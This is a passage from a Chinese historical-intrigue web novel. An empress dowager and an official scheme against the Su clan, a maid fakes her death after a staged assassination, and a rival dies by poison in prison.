“然而一切都完成之后,她却又不让膳房的宫人将她去膳房的事情告诉娘娘,只说想到用膳时给娘娘个惊喜,膳房的宫人本就此应下了,只是真到了用膳时间却又不见她来,这才将事情告诉了奴婢,而娘娘手中的这封信,也是奴婢刚才在阿筝房中寻到的。” “她放的位置还算显眼,想来就是估算着时间,要转交到娘娘手中的。” 上官栩看完信,双手无力地垂下:“她果然去杀苏望了。她这些日子以来的种种都不过只是为了掩盖她的杀心。她在信中写到,从苏望到如今都不肯放过她的势头来看,她家人当年应是知晓了能威胁到苏望的惊天秘密,所以苏望从知道她活着的那一刻起,就决意要将四年前未尽之事完成,对她斩草除根,她恐怕有她在一日,苏望就会因她而对我不利。” “她不想连累我,所以她也借这些日子立政殿内的氛围向外人展示,此事与我无关,甚至还因此引来了苏叙白为我作证,而她亦与苏望有不共戴天之仇,所以她便要借这破釜沉舟之际,亲自和苏望算那笔账。” “她真傻,她如何就为了我,要在当下这并不适合的时机去做那等凶险之事,她如何就不能再等一等。” 上官栩细数着往常,自责起来:“难怪她近几日这样痴于练武,难怪她最近对人所求一反常态,难怪她之前会留下出宫令牌,我还以为这些都是她因身体好转后而产生的欢喜,我真蠢,我为何就没有早些发现她的不对。” “都怪我,一直未将四年前的事告知她,其实我与她有着同样的仇人啊……” 上官栩闭了眸。 青禾亦在听了那些话之后面露忧伤神色,她看着案几上还冒着热气的饺子,心道,原来阿筝早就想对今日之事有了打算,这几日的时光说来也不过是在与她们道别。 然而阿筝不知现下如何,上官栩还在她眼前,她便不能让自家殿下因此受到太重的影响,她轻声宽慰道:“娘娘莫急,起码到现在为止,还没有阿筝被捕的消息,她能行此事,或许她就已提前安排好了退路,现下正藏在哪个地方等风头过去呢。” 上官栩轻叹:“只能如此希望了。” 然而她也始终放不下心,因那宫人说了,那刺客当场就被苏然刺穿了腹部,就算阿筝躲过搜捕,可她受了这么重的伤若无医治又该如何是好呢? 果然,夜幕时分,宫外传来消息,行刺之人已经找到——京兆府于城外一山崖下搜寻所得,届时人已气绝身亡,而面貌虽因伤痕不可辨,但从穿着和腹部伤处来看,当是行刺之人无疑。 上官栩闻讯,霎时心如刀绞。 而同时间带有的消息还有,那刺客尸体不远处,还有一具已开始腐烂的男尸,通过从其衣服中找到的账本推出,此人就是那江南三大船商家主中失踪那位。 徐府侧门在深夜中被叩响。 木门从里打开,徐卿安举着灯笼向外看去。 来人眼帘轻掀,眸光楚楚。 “阿筝她……” 话还没说完,灯笼掉地而灭,上官栩一下被拉入一个满覆兰香的怀抱中。 第55章 伴随着门外的人影被拉进宅院后,那扇木门也立马被关上。 门内,上官栩被徐卿安环抱在身前,她侧脸贴着他的胸膛,在一片清雅兰香中闭上了眼。 “阿筝……死了。” 怀中颤抖的弱声传入耳中,徐卿安眼睫颤了下。 体温在触碰的位置传递,徐卿安掌心生热,胸膛前的一片也跟着升温,然而除了温度的变化外,他还感觉到了一股灼热的湿意。 她漏夜而来,从他见到她的第一眼起,他就知道,今日阿筝的事给了她不小的打击。 上官栩任由自己窝在了他怀中片刻,那丝丝缕缕的兰香此刻于她而言就是能觅得几分依赖的存在。 “阿筝的事臣听说了,娘娘节哀。” 他的声音很淡,上官栩虽听出几分惋惜和宽慰的意味,但也终归不过是蜻蜓点水,恰如对无关之人随口一句的感叹罢了。 而他的声音一传来,她便也醒过神,手指悄悄抚了抚眼尾沁出的泪水,再支身离开他的怀抱,抬眼向他看去。 她眼眸还有些红,徐卿安看着,心中生怜,眉头不自觉地蹙了蹙。 “今日京兆府的事你都了解清楚了吗?” 她冷然的声音响起,将他本欲抬起安抚的手压下。 “差不多,阿筝……”他顿了顿,改口道,“今日在街上的行刺苏相之人,曾在动手时直呼苏相还她家主性命,她直骂当朝相公行兔死狗烹之举,在她家主为他殚精竭虑地谋事之后竟直接无情地杀害了她的家主,而她的家主就是今日在山林和她一起被找到的那个江南船商。” 上官栩垂眸:“她知道她杀不了苏望,她也知道近日苏行正就要因证据不足而脱罪的事情,所以她没有以她父母的名义去杀苏望,她只是想把那船商的事情掀开在世人面前。” “想来这几日她常常出宫,也不是之前对我说的,是要来你这里让荀大夫为她施针艾,而是为了去寻那船商的下落,而人一找到,便是她刺杀苏望的时机。” 徐卿安点头:“是这个道理,京兆府让仵作对那船商尸体验了尸,推断出来他死亡的时间大概就在阿筝受人围剿的那两日,想来,苏相在一听说那个船商是阿筝故人时就对那船商也起了杀心。” 他轻叹:“到底是什么秘密?竟然与之有丝毫相关的人都不会被放过。” 上官栩淡声:“他既藏得这么深,这事情便也只能慢慢挖,当务之急还是苏行正的事更为重要,今日的事情发生后,定死苏行正的罪证当更为容易了。” 徐卿安怔忡。 上官栩察觉到他神情的变化,抬眼向他看去:“怎么了?是我哪里说 得不对?难道今日苏望当街受到指控后他还会不顾世人看法,竭力将江南几大船商的事压下?只要你再将你原本准备好的证据交出去,那江南之事就是板上钉钉,他苏氏便总得有人要为之负责,而苏行正早已受到指控,苏望若想把自己从江南的事中摘出来,那么他必会将苏行正推出去。” 徐卿安仍旧顿了顿,期间似竭力对她的话语消化了一番,忽而笑了。 上一刻她还对阿筝的遭遇哭泣,下一刻就急不可耐地要借今日之事实施她的计划了。 徐卿安垂下眸,摇摇头,含着笑声说道:“娘娘说得当然对,不仅对,还将后续之事分析得一清二楚,让局势瞬时明朗,只是臣见娘娘之前伤感,一时没从中反应过来罢了。” 上官栩知他话中指的什么,然而且不说她知他秉性,知道这些情感于他而言并不能与她感同身受,遂而不想在这些情感上与他有过多纠葛,就是这丧失亲近之人的事情也并非是她第一次遭遇了。 她当然想哭泣,她当然想报仇,然而这些事情只光想想并不能实现,就如四年前,她在寝宫中哭了整整一月,哭到眼睛都不能视物,可是那又能怎样呢? 逝者已逝,但仇人还活在世上,那为恶之人不会因为她的眼泪而心生怜悯,一改前非,更不会因为她的眼泪而自认罪责,让逝者复生! 这次能重创苏望、一举扳倒苏然的机会是阿筝拿命换来的,阿筝对她寄有厚望,那她就不能因那些伤痛之事而辜负了阿筝的付出。 所以上一刻在哭泣又如何呢?事情总是要进行下去的。 她开了口道:“事情已经发生,自怨自艾只会拖慢后续的进程,耽误时机,徐卿应该也明白其中的道理吧?” 徐卿安依旧笑着点头:“明白,娘娘提醒得是。”他侧了身子,抬手邀请道,“更深露重,娘娘既有打算,不如去书房一叙?” —— 上官栩已来过徐府几次,府内的格局她也早已熟透,这一路上她都走在前面,而徐卿安落后于她,目光幽幽,拳头不由得攥紧。 为何他总是对她有不切实际的期盼,他分明早已知晓她是怎样的人,他却还是希望她能迷途知返,少些那些阴谋算计,多些真诚。 那日,他带荀阳入宫为阿筝诊治,他说的那话不是假话——她看重爱护的亲近之人,他当然会帮她看护好,只因他觉得她也是有心的,然而今夜听了她说的话,他的那些期盼又再一次被打入了冰湖底。 行至书房外,上官栩干脆地推开门进去,徐卿安跟在后面,看她脚步慢慢停下站于房中,但却并没有转回身面向他。 上官栩背身道:“京兆府的事你知道多少?” 徐卿安目光始终落在她身上:“因今日的案子和此前的刺杀案有关,所以基本上京兆府那边的消息,臣都在跟进。” “你打算何时把你手中的证据交出去。” “大概还等个一两日吧,本来是打算由臣亲自交出,然而到底这案子才发生,收集证据又需要时间,若由臣这个无关之人交出证据,恐会因此引来非议,所以臣找了个人,让他把证据交出去。” “谁?” “今日被找到的那船商的家仆。” 话落,房中静了片刻。 见她背部微起伏一瞬,伴随着一声轻叹声,徐卿安听她说道:“这样确实更稳妥,便依你说的来办吧。” 他听出她声音中似有鼻塞的感觉,慢慢上前几步,在她侧后一步的位置想要去看她神色地说道:“娘娘可还有其他想法?” 一声鼻息声响起后,上官栩再哑声道:“没有,只要能确保这次苏行正绝无逃脱的可能就行。” “我这次来还是在你这里取一件东西。”她终是转过了身面向他,然而当她一抬眼时,徐卿安眸光却跟着闪了一下。 只因她双眸与刚才相比,红意非但未减反而还加重了不少,就连她的鼻尖也带起红色。 原来她刚才还是再哭…… 她还是放不下阿筝的事。 徐卿安眸中稍显无措,他手下微抬,没忍住开口道:“娘娘……” “我想你将那把从船商住处搜出的匕首给我。” 关切的话还未出口,她就先开了口将他打断。 徐卿安手下动作停下,转而眉宇间露出疑惑:“匕首?娘娘要那把匕首作何?” 上官栩直言道:“那匕首对那船商身份而言来得奇怪,而阿筝刚好又有武学背景,我想那匕首可能与阿筝有关,如今阿筝逝去,她东西我也应收集好,况且她身世未明,后续为了苏望那秘密我也得继续查下去,所以我想那匕首可能会有些作用。” 如此而已么?可一把匕首能起到多大的作用呢? 徐卿安仔细关注着她。 “还有,”上官栩继续道,“阿筝的尸首不能就这样放在京兆府,此事之后我要把她带出来好生安葬,所以这几日,你在京兆府与他们周旋时万要保护好阿筝的尸首,莫要让人折辱了她。” 徐卿安望着她因泛红湿润而显得脆弱的双眼,轻声道:“娘娘和阿筝的情谊很深厚,这四年你们一起经历了很多?” 上官栩不欲与他多说,只道:“到底四年朝夕相处,她又因我而死,那她的身后事我便总得为她处理好。” “可是娘娘现下的神情并不像您的语气这般云淡风轻。”他拆穿道。 上官栩缓缓掀起眼帘向他看去,语气依旧如初:“那你想听什么,想看什么?听我破口大骂?看我声嘶力竭?然而正如我刚才所说,人已经死了,我再如何骂,再如何哭都没有意义了。”她眼睛又酸了酸。 然而在徐卿安的眼里她表现得实在太过平静,可他又将她暗自低泣的样子他尽收眼底。他担心她就此将自己憋坏,他担心精神上的压迫超过她的忍耐程度,会让她的一切触底反弹,转而做出完全不受控的行为。 “如果我说……”徐卿安开了口,可是话说到一半,双唇蠕动几次后,迟迟未将下面的话说出来。 上官栩一直静静地望着他,见他欲言又止,久久说不出话来,便问道:“说什么?” 徐卿安双唇再张了张,终是将原本要说的话压了下去,转而笑说道:“没什么,就是觉得佩服娘娘罢了,然而那些恭敬的话想来娘娘现下也并不想听,臣便不说了。” 上官栩现在确实没心情与他多说那些无关之话,只道:“去将匕首拿来吧。” 徐卿安颔首,柔声说好。 —— 阿筝行刺苏望本意就不在夺他性命,她只是想将船商的事情闹大,在世人心中种下一颗怀疑的种子,又将京兆府的人引去山崖下,那船商尸体所在的地方,在众目睽睽下,让他们自己拿到船商身上的证据。 再加上后来的船商家仆出面,交出了他们几家和苏然私下很隐晦的交易证据,如此一来,苏然无疑又被推上风口浪尖,他的那些罪名基本上逃无可逃。 至于苏氏那边,苏望一生致力于求得古今第一贤相之名,所以对于苏然的遭遇他当然更在意的是自己的名声。 苏然下狱前夜,苏府内议事厅的烛火一夜未熄,但房中只苏望和苏然叔侄二人密谈,次日,苏然认下包括杀害江南船商的全部罪状,被押入狱。 而对于苏然的三司会审,朝廷也不急,因为众人都知道,苏然不会死在刑场上,甚至不会死在定案之后,而是从他踏入大狱的那刻起,旁人就明白他此生已经结束了。 不过又是另一个苏四郎罢了。 苏然死时,苏家的人当然不会到场,因为苏然一定要死得甘愿,死得悔恨,不能有一点被家族强迫因素的存在。 牢房中段停歇处,上官栩遣退了众人和徐卿安站在一起。 望着大狱深处、苏然被关押的方向,徐卿安凝眸道:“事情发展到现在这个结果,也算达成娘娘最初想要的了,今夜之后,苏氏五郎便要和四郎一样,戴罪自戕,消逝于人间了。” 上官栩几不可闻地笑一下:“看起来徐卿对这样的结果亦是满意。”她转向看向他,“我能问徐卿一个问题么?” 徐卿安回望过去,很是恭敬:“娘娘请讲。” “按理说,你与苏氏之间最初也不过是利益争端,纵算有过嫌隙,但之后他们也曾向你有过示好 ,为何你对他们却总是带着杀心?你对他们的杀意又是从何而起呢?” 徐卿安垂眸,沉吟片刻。 “因为臣心向着娘娘吧,臣爱慕着娘娘,自然就是娘娘想要做什么,臣就应当想法帮娘娘实现什么。” 又是爱慕,上官栩并不信这个理由,然而她也知道,他拿出这个理由便是铁了心不会告诉她真实理由了,而她现在也不想去纠结,因为她还有更重要的事情要做。 徐卿安也不想她细究其中缘由,再望向苏然所在的方向,问道:“娘娘深夜来狱中是还有什么话要问他么?” 上官栩淡声:“不是。” 徐卿安眉头挑了挑:“哦?那娘娘……” “我来亲自送他上路。” 话语被打断的同时,一道由刀身反射出的亮光照在脸上。 徐卿安当即反应过来,按住她拉开匕首的那只手,惊愕道:“你要亲手杀他?!” 上官栩慢慢抬起头,目色平静、幽冷,却对他笑了笑:“难道徐卿没听清楚么?我既说了亲自送他上路,难不成还能让其他人杀他?” 于此刻,徐卿安才总算知道上官栩为何要从他这儿拿走那把匕首了,她要用故人之物杀了故人仇敌!而他担心的,她自阿筝出事后太过压抑而触底反弹的不受控的行为也终于在此刻爆发了。 他果断道:“不行!” 上官栩眉头一皱,语气倏然变冷:“为什么?” 徐卿安亦是强硬道:“他本已是将死之人,娘娘又何苦再行此举?” “正是因为他马上就要死了,所以我才不能错过!” “这有什么关系?” “他杀了阿筝,他还!……”上官栩将话咽下,平息着呼吸,“总之,他不死在我手里不甘心,我必要亲手杀了他,给为他所害的人一个交代。” 徐卿安高声:“所以就让自己手上沾血?!” “有何不可?!” 她言语神色丝毫不退让,恍惚间,徐卿安好像又听见了四年前那夜,曲江的流水声。 可是这和她今日想要做的亦不一样! 她当初也没有……没有亲手杀他…… 见他错愕,上官栩觉得好笑:“难道我和徐卿谋事至今,沾的血还少吗?从你最先接手的礼部贪污之案,到后来的刘昌、薛弘,哪一个不是死在你我的谋算下?我的手上不早就已经沾血了么?” “那是他们罪该至死。” “那苏行正就不该了?!” “这不一样……”徐卿安压低声音,不再与她相争,神色又软下来道,“他们罪有应得,他们死有余辜,这一切都是律法上定好的,纵是娘娘使了计谋,但终究也不过算是顺水推舟,铲除奸邪罢了,再退一步讲,就算您行的是阴谋诡计又如何?这到底和亲手杀人是不一样的。” 他再劝:“娘娘,您的手上不应沾这些人的血,您若想让他死得不那么轻巧,这样的腌臜事让臣来做就好了。” 上官栩眸底一酸,抬眼向他看去。 “还有,”徐卿安垂眸避开她的目光,“阿筝没有死。” 这是那夜他在府中见她哭泣就想对她说的事情,他也不管她闻言后的惊愕,继续道:“这其中涉及到的事情太过复杂,三言两语说不清楚,待之后臣再慢慢讲给娘娘听吧,但只要娘娘知道,阿筝没有死就行了。” 她将眼底的泪光眨了眨:“你为什么要与我说这些?” 又为什么要阻止她做这些事?毕竟这和他没什么关系不是吗? “这话娘娘已经问过了。”他手搭上她的手指,取过她手中的匕首,转身往牢狱深处走去,“因为我爱你。” 第56章 阿筝去找徐卿安那日,正是她萌生出计划的那日。 “我知道徐大人和殿下最近正在为苏五郎的事烦恼,还有一个船商下路不明,他身上能用来做证据的账本也不知去向,但我想或许我能找到他的所在。” 徐卿安凝眉。 阿筝继续道:“那人从那夜诱我出城后就再也未出现在城中,我想,依照要杀我之人的手段,恐怕那与我相关的人在当夜也同样被‘灭口’了,然而当时我为了逃命曾与他们有过一段路的追逐,直到一处极为复杂的山林里我才得以逃脱,加之那时光线不好,又觉得我受了重伤,所以他们才暂时放弃。” “而最近我恍惚想起当夜的事情时,才想起在我逃脱之后听见那群人中有人突然问了一句‘人呢’,我能断定那句话是在他们决定放弃寻我时再说出来的。” “所以他们口中的那个人应当就是那个船商。” 徐卿安沉吟:“所以,船商当时也发现了不对,知道那群人也要杀他,故而提前躲了起来。只是这么久他都未曾露面,他江南本家也无动静,想来他最后没能如你一样逃脱。” 阿筝颔首:“那里地势险峻,又在夜间视野不好的时候,像他那样不会武的人,就算能一时逃过追杀,但在那样的地形里奔逃,也极容易脚下踩空,掉入山崖下。而那里地形复杂,草木丛生,若要找人当是不好找的,但好在我隐约中记得些,我可原路返回去看看是否能找到他的踪迹。” 徐卿安不置可否:“那找到之后呢,你可有其它计划?” 从她今日来,他便察觉到不对劲,若是只是由她出面找那船商,那这话可以不必由她来讲,而是先说过上官栩听,再由上官栩来与他商量。 果然下一刻,他就听她说道:“然后,由我当街刺杀苏望,借此将江南船商和苏氏之事公之于众,再引京兆府的人去到失踪船商所在的位置。” “你就那么能确定你能找到那个人?” “不管能不能找到,当街刺杀苏望的计划我都不会更改,我相信,只要我点起了这把火,徐大人就有办法将它燃得更旺。” “然而你可知,你行此事,凶多吉少。” 阿筝喉咙咽了咽,撇头道:“我虽还未完全想起以往的事,但从苏望灭我满门和此前安排人杀我两件事来看,他定不会就此放过我,所以我存在一天,就对殿下有一天的威胁,那我要做的就是死在他的眼皮底下,消除因我而带给殿下的威胁。” 徐卿安轻声:“她不会同意的。” 阿筝急声:“正是因为知道殿下不会同意,所以我才直接找上徐大人。” 徐卿安抬眼看她:“那我就该同意吗?我才向她承诺过,她亲近之人我会替她好生看护,若我同意你想法,任你去死,那事情被她得知那天,我对她又该如何自处?” 阿筝只道:“在我心中,徐大人是分得清事情轻重之人。” 话落,房中静了片刻,随后才响起一声徐卿安的轻笑声。 这话意在指他无情啊,未达到目的牺牲他人的性命也可以的。 徐卿安长叹一息:“好,此事我助你。” 阿筝眼眸瞬时一亮。 “然而我也说了是助你,不是害你。”阿筝还未来 得及道谢,徐卿安就抢先说道,“你既在想出这计划后立马就找到我,就说明你信我,那我断然也不能负你。” “计划就依你所说的来,但你的命不应该折在那种人的手里,你既与他仇恨,那你就应当好生活着,亲眼看他自食恶果。” 阿筝怔忡,就担心她的苟活会影响计划,会影响到自家殿下:“可是……” 徐卿安知道她的顾虑,宽慰道:“你放心,不会影响计划,我一会将荀大夫叫来,我们一起商量其中细节,只是这过程你恐怕还是得受些苦。” “本最初就带着赴死之心,苦与不苦都无甚重要。”阿筝拱手行了个武礼,“能得徐大人相助,阿筝已感激不尽。” —— 哗啦的铁链拉开声音响起后,苏然所在的牢房木门被打开,本垂着头盘腿坐在席子上的苏然抬起头,向门口处看去。 来人一袭云青锦绣宽袍,腰间有玉佩香囊做饰。 徐卿安手中拿着匕首,唇边微微泛着笑。 苏然瞧他一眼,无力地勾了勾唇,又垂眸道:“你这是来杀我的?” “你自己已经将东西准备好,又何须我来杀你。”他声音清冷无情,又透着几分得胜后的得意。 苏然视线落在身前的那一个小瓶上,自嘲一笑。 而屋中之人亦在此时添油加醋道:“怎么?死到临头还是怕了?不敢下手了?” 徐卿安知道,那瓶中是苏然自己带来的毒药。 苏然抬起头,因徐卿安的那句话目露不甘地向他看去。 然而也只能有不甘。 他又偏过头,看向了牢中唯一的一扇透气小窗——若是在白日里,那里当是有皎白日光撒进来的。 可是现在是深夜。 苏然开了口:“你何必急在这一时,反正我已经没有活路了。” 徐卿安冷笑,刻薄道:“当然急了,你不死,我如何回去安睡?你死得晚了,岂非我今日就少了一夜好眠?” 苏然回转过头:“你就这么恨我?就因为刘昌那件事?” 徐卿安压着声音,带动胸腔震颤笑几声:“原来苏中丞和我都在装糊涂呀,还以为你认为刘昌之事在我这儿已经过去了。” “所以果真是为了我用刘昌构陷你的事。” “当然不是!你当真觉得,你该死仅仅是因为哪一件事而该死?你手中有多少条人命,你到底数过没有!” 苏然错愕。 徐卿安见状不禁嗤笑一声:“你当真是可恨又可悲。今日我来,就是为那群死在你手中的冤魂讨个交代。” 他走近几步,在苏然身前半蹲下,直视他的眼眸道:“你字行正,可还记得是何人为你所取?玉华公赠字与你,你又是否对得上他对你的期许?你所做之事当真称得上正义二字?!” 苏然眸光陡然一凛,声音开始发颤:“大伯父……” 徐卿安视线移向地上的药瓶:“可惜,你一直尊崇的三叔父,你将他当作引路人,他却从未真心待你,如今你要死了他也不让你死个明白,到时你到了九泉之下,你四哥找你要交代时你可如何是好啊?” 苏然:“你什么意思?你知道我四哥?” 徐卿安勾了勾唇:“也算有过少时之谊吧。” 他从地上拿起那药瓶,苏然一路看着,见他将药瓶放置在手心之上,又停在二人眼前。 “你什么时候吃?” 苏然呼吸声明显:“是否我吃了你就告诉我四哥的事?” 徐卿安无动于衷:“这也算个交易?你今夜本就是要死的。” 苏然不再废话,直接抢过他掌心的药瓶,打开了瓶塞,将里面的东西倒入了喉中。 他咳嗽两声,道:“我知道你的顾虑,如今我服了药,你我两人之间的谈话内容便不会传出这间牢房了。” 徐卿安含笑望着他。 徐卿安问:“可是觉得噎得慌?需要喝水么?” “我没时间了!”苏然瞠目,拳抓紧徐卿安垂地的袖袍,“快告诉我,我四哥到底是怎么回事。” 徐卿安徐徐开口:“你知道你四哥不是自愿赴死吧?那你可知道那个奴仆其实也不是你四哥所杀?” “你就没想过?你四哥虽才智平庸,但好在一直以来性情稳定,为人处世虽无功但亦无过,缘何就会因为一个奴仆犯事失了分寸,打死了人?” 苏然弱声:“当日他喝了酒……” 徐卿安笑:“那是他第一次喝酒?他往日喝了酒也要打人杀人?” 不会……苏然了解他四哥,他四哥性情虽算不上温和,但因从小被家中长辈严格要求而性子中带着软弱,所以他对诸多事情态度都带着怯懦,那怯懦不是装出来的,而是浸到骨子里的。 徐卿安见苏然将话听了进去,继续道:“我知道,你或许会说我口说无凭,然而事情过去这么久,许多凭证确实也难找到。但你可以仔细想想,你四哥这番反常的举动之后,谁是最大的受益人?是你三叔父……” “你胡说!”苏然受不住反驳道,“我四哥与我三叔是血浓于水的堂亲,我三叔怎会害他!” “是么?”徐卿安依旧轻声细语,“可是当初逼你四哥是他,你四哥死后名声大噪的也是他,也是那个时候,他确定了自己一国首相的地位,你不觉得这一切都太巧了么?你看过那个奴仆的尸首么?你知道他早就患有重疾,受不得一点风吹雨打么?这样的奴仆不驱逐出府,怎还能留在你四哥的院中。要知道,那时你四哥可是你们苏氏这一辈中最年长的男子,他当享受的是未来家主的待遇。” “你、你……” 徐卿安不管苏然的语塞失措,继续道:“正如我刚才说的,时间过去这么久,我难有凭证,但我想有些东西你应当是记得的。我大晋上下,尤其在官场之中,盛行的字体是鸿猷正楷,其形大气磅礴,受诸多为官者的喜爱,但你四哥喜爱的字体却是簪花小楷。” “在文书上他当然不会用这类字,但在他自己的信件中,他就会采用簪花小楷进行书写,当初,在他被逼死前的前一个时辰,他就曾写了这样一封信。” 苏然:“他写的什么?” 徐卿安:“当然是苦诉他没有杀人,那人在遇上他前就已满身是伤,又借他喝酒之后身形不稳,与他撞在一起,这才头撞在院中的灯柱上,当场死亡。” 苏然不愿相信:“你在骗我,他有冤屈他为何不找叔父,他有冤屈他为什么找我,他就算写信你又怎么会知道信中内容,你在离间我和我叔父!” “你马上就要死了我为何要离间!”徐卿安直言反驳道,“当年之事虽传播甚广,但说到底一直都是你们苏家之事,未有官府介入,除你苏氏之人外,旁人对那身死之人的具体情况并不清楚,可你仔细想想,我所述细节是否都与当时情景对得上?” “他为何不找你叔父,自然是知道这局他叔父为他所设,最想让他死的就是你最敬重的三叔父!他为何不告诉你?因为你是他的亲弟弟,他告诉了你,你就能帮他了?你们就能一起对抗你三叔父了?!他是不想牵扯你,是在保你!” “可是你!这么多年来,非但不去查他死因,还帮着杀害他的仇人为非作歹。可怜啊可怜,你帮那人做了那么多腌臜事不说,如今你竟还要想着让他全身而退而甘愿赴死。哈哈哈哈,苏行正啊苏行正,全天下怎会有你这样的蠢人,替你杀兄之人殚精竭虑还不够,还要为你杀兄之人命丧黄泉啊!” “够了!”苏然倾身上前想要一把将眼前这诛心之人推开,然而他却骤然失力,口中淌出一汪黑血。 徐卿安从容躲过他的动作,缓下声来,轻声道:“我知道,不见凭证你就总有理由说服自己这些年来所选无错。那你看看,你可识得这个?” 徐卿安从袖中取出一个由丝线 编织而成的花结。 只那一眼,苏然心中所有信念全部崩塌。 因他记得,那是他四哥和他约定的兄弟之印,只他们兄弟二人得知,唯遇十万火急之事才会以此作为凭证。 徐卿安:“这花结虽不是当年那枚,但却也是根据当年他寄出那封信时带上的那枚复原出来的,他当时料到自己能够脱险的可能很小,所以信中还写到求保住你的安康,这花结你应该明白是什么意思吧?” “四哥……四哥!”苏然力竭后向后仰靠到墙上,片刻,唇瓣轻动,“你才是真狠啊,偿命不够,还要……诛心……” 徐卿安站起身,乜眼睥睨:“你所付出的代价已经很小了,须知人死不能复生,所谓的偿命从来不是补偿,不过只是对活人的宽慰,故人的交代罢了。” “杀了你又能如何呢,那些因你而死的人也回不来了。” 苏然渐渐无力:“他们又和你是什么关系,你因何为他们对我有这样大的怨恨,我四哥的信中内容你又是如何得知,你到底是谁?” “我是谁?”徐卿安垂眸,轻笑一声,“也不知你还记得自己做过的多少往事。” 他再度抬眼向那瘫靠着墙、瞳目逐渐涣散的人看去,字字清晰:“熙宁七年,曲江冤鬼。如今该在平陵里躺着的那人。” 平陵,是昭帝的皇陵。 苏然骤然张大口,痛苦地长吸一口气。 他挤着最后一丝气道:“难怪!难怪你会选择她……原来你们夫妻……原来你们夫妻!” 然而话还未说尽,苏然头一歪,七窍流血地睁着眼断了气。 徐卿安望着,不由得瞥了目,眉头轻蹙。 他垂了头,移步蹲在了苏然身前,再抬眼时眸中已没了刚才的冷寒,他抬手给眼前之人覆了目,合了口。 “难怪什么?”又想起刚才苏然未说尽的话,他自言自语道,“你们既为同谋,难道我选她就比选你们更好了么?” —— 上官栩还站在刚才那个位置,大约过了两刻钟的时间,她看着徐卿安从大狱深处走来。 她又想起他刚才那句话。 他爱她? 和以往不同的是,那句话,她当真感受到了比他以往话中更多的情意。 可是他哪来这么浓烈的爱呢? 徐卿安已走到近前,而在他去苏然牢房后不久,上官栩就叫了京兆府少尹来。 徐卿安驻足先向她行礼,然后算是对他们二人一起说道:“嫌犯苏行正,刚才服毒自尽了。这是他带入牢中的药瓶。” 说完,徐卿安将东西递出。 京兆府少尹得上官栩示意之后将药瓶接过,端详着看了看:“禀娘娘,是苏家的东西。” 其实何故多此一举,朝野上下的人都知道苏家五郎不会活过今夜了。 上官栩转过身往外走:“既如此便结案吧,苏氏的体面也勿忘了。” 京兆府少尹应是。 上官栩与徐卿安同行出狱,而他们刚从大狱出来,还站在狱门外的高阶上时,就见底下苏尚带着一干苏氏家仆站着。 徐卿安先下了台阶,到他面前开口问道:“苏大人此时来此是为了……?” 苏尚冷脸漠声:“来接我五哥,回家。” 徐卿安看了眼后面家仆手中抬着的担架,挑眉点点头,侧身让出了身位:“苏大人请。” 苏尚不去看他,却抬眼望向了还在高阶上同样望着他的上官栩,片刻后方提袍往上走去。 路过上官栩时,他停顿一瞬,然而终是没有言语地继续领着人往里走了。 上官栩自始至终平静如常,在身旁的人离开后,她视线下移,落在了高阶下的那人身上。 大狱外,火光摇曳昏黄,落在人脸上,光影一重又一重,但她仍能感觉他眼尾柔与笑。 她目向那人,口中却唤了青禾:“回宫吧。” —— 离开大狱后,徐卿安就未再与上官栩同行,他直接回了自己府宅。 行至后院时,又恰好遇见了刚出门的荀阳。 他隔着窗户往房中看了眼,问道:“怎么样了?” 荀阳点头:“命肯定保住了,就是腹部的伤太深,需要多养段时间。” 徐卿安轻叹:“比起性命来说,这些都是小事,这段时间便有劳你多看顾了。” 荀阳扬唇一笑:“小事。” “对了,”说着,他又想起一事,“你看你能否想个办法让宫里那位安排人来伺候。” 荀阳往屋内看了眼:“听她昏迷中的呓语,她对宫中的人还是很挂念的,而熟悉的人陪在身边也能有助于她的伤势恢复。” “很挂念?”徐卿安思忖,“可有特意提到人名?” 荀阳抿唇回忆道:“都有吧,不过最多的应当还是你的那位娘娘,看来确实忠心,确实感情好啊。” 这话虽说得没错,但荀阳却刻意在里面加了打趣的意味,谁知这话之后他却并未见徐卿安如往常一样眼刀飞他,反而是蹙了眉,沉思起来。 接着,徐卿安突然抬眼,答应得很干脆:“好,这事我之后想法安排,时间不早我先回房了。” 荀阳奇怪地看他离去。 而另一边,徐卿安刚进了卧房之后就在书案前铺了信纸,笔沾了墨。 他想起了今日在牢中苏然对他说的话…… 难怪他选择她,原来他们夫妻…… 苏然说那话时神情似乎完全没有他选择上官栩的诧异,只有理所应该,可按理说,她与他们一起策划了当年那场变故,那苏然总会因他的选择而露出一点不可思议啊。 然而当年之事确也是证据确凿。 怎么会如此? 再近观近段时间来发生的事情,她先是忧虑她的阿兄,不惜与他做交易,再是为了阿筝来向他寻大夫,然后又是今日在狱中要为她报仇。 就算不能由此就说她对阿筝有多上心,但从阿筝甘愿赴死为她消除威胁来看,阿筝确实对她情深义重,而情感都是相互的,那么她对阿筝的感情亦不会单薄。 回想起往昔,他们自幼时起就相识相处的点滴,她能对旁人有情,难道她对他就真的一点真心都没有么?就算后面她变了心性,但他们相识这么多年,在她未经世事时,她的感情便总是真实的吧? 亦如她当日在猎场花圃对他所说的那样——“纵然少时行事多带无知,但也因少年意气多了几分纯粹”,这话既是出自她之口,那这又如何不是她对他以往感情的肯定呢。 然而这一切都突然在那年上巳夜骤然变化。 若说她心性真的已经坏到为达目的可以不择手段,那今夕她对阿筝、对她阿兄的付出是否太多? 徐卿安闭了眸。 当年之事他一定要再捋一遍。 就算那些事情是她所为,那她也一定是有不得已的苦衷。 第57章 苏然的案子结束之后,徐卿安便升了官。 徐卿安曾任职过御史台,也在御史台和刑部有过诸多建树,苏然死后,御史中丞的位置便由他补缺,同时,再考虑到他的双元身份,小皇帝又点名要他做老师,朝廷便也让他兼了中书舍人一职,好让他在中书省参议政事后将其所学所得传授给小皇帝。 两个官职都是正五品上,且都是近中枢、有实权的职位。 徐卿安一时间可谓是风头无两。 阿筝那边,徐卿安和上官栩到底是没让宫里的人去照看,因两人商议后觉得阿筝此时对于外界的人来说早已是个死人,那为了她的安全考虑,便不要再从宫中挑人来随身照顾,以免被苏望那边的人察觉端倪,发现她还活着,给她引来杀身之祸。 但借着夜深,上官栩还是去徐府内看了看她。 阿筝现下虽已无性命之忧,但之前的伤势也不算轻,所以这段时日便睡得尤其早,上官栩夜间来时没与她说几句话便让她睡下了。 待到阿筝睡熟后上官栩又为她掖好被角,轻轻起身,去了徐卿安的书房。 “禁军中虽有我的亲信,但我也不能在深夜出宫得太过频繁,所以阿筝便麻烦你多看顾了。”上官栩向徐卿安委托道。 徐卿安干脆点头:“娘娘放心,我既救了阿筝便不会不管她。” 上官栩抬眼,眼底复杂地向他望去。 